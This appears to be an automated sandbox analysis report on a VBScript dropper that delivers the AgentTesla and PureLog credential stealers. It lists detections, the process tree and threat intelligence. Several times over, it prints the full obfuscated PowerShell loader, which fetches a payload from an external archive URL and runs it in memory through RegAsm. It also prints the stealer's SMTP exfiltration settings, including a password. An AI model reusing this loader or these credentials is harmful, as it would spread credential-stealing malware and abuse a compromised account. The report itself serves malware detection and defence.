Edit tour

Windows Analysis Report
PofaABvatI.vbs

Overview

General Information

Sample name:	PofaABvatI.vbs renamed because original name is a hash value
Original sample name:	05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7.vbs
Analysis ID:	1523820
MD5:	5b4a21e35cce386f8692a4a5d684cb14
SHA1:	38cefdde89a5577f3d89396afd6fc15c8f89200e
SHA256:	05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7
Tags:	BlindEaglevbsuser-JAMESWT_MHT
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

AI detected suspicious sample

Bypasses PowerShell execution policy

Found suspicious powershell code related to unpacking or dynamic code loading

Obfuscated command line found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2216 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 2952 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3776 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )" MD5: 04029E121A0CFA5991749937DD22A1D9)

RegAsm.exe (PID: 4832 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6080 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 516 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 4468 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6264 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.detarcoopmedical.com", "Username": "mail@detarcoopmedical.com", "Password": "To$zL%?nhDHN"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.1595867471.000001A064DD0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.1572696203.000001A05CEA9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 2952	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2676:$b3: ::UTF8.GetString( 0x2723:$b3: ::UTF8.GetString( 0x2d78:$b3: ::UTF8.GetString( 0x17b63:$b3: ::UTF8.GetString( 0x30278:$b3: ::UTF8.GetString( 0x30a6d:$b3: ::UTF8.GetString( 0x310fc:$b3: ::UTF8.GetString( 0x60353:$b3: ::UTF8.GetString( 0x6a7f6:$b3: ::UTF8.GetString( 0x6ae74:$b3: ::UTF8.GetString( 0xacb01:$b3: ::UTF8.GetString( 0xad17f:$b3: ::UTF8.GetString( 0xc5828:$b3: ::UTF8.GetString( 0xc5ea6:$b3: ::UTF8.GetString( 0xcc161:$b3: ::UTF8.GetString( 0xcc934:$b3: ::UTF8.GetString( 0xcd413:$b3: ::UTF8.GetString( 0xcda98:$b3: ::UTF8.GetString( 0xce2d8:$b3: ::UTF8.GetString( 0xceaf6:$b3: ::UTF8.GetString( 0xcf3f1:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 3776	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 3776	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 3776	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 3776	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x4c86c5:$b2: ::FromBase64String( 0x4c9eb8:$b2: ::FromBase64String( 0xb276:$s1: -join 0x1834b:$s1: -join 0x1b71d:$s1: -join 0x1bdcf:$s1: -join 0x1d8c0:$s1: -join 0x1fac6:$s1: -join 0x202ed:$s1: -join 0x20b5d:$s1: -join 0x21298:$s1: -join 0x212ca:$s1: -join 0x21312:$s1: -join 0x21331:$s1: -join 0x21b81:$s1: -join 0x21cfd:$s1: -join 0x21d75:$s1: -join 0x21e08:$s1: -join 0x2206e:$s1: -join 0x24204:$s1: -join 0x32c4e:$s1: -join
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.powershell.exe.1a05d6bd738.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.1a064dd0000.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.1a064dd0000.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.1a05d6bd738.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydM

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnK

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnK

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs", ProcessId: 2216, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2Q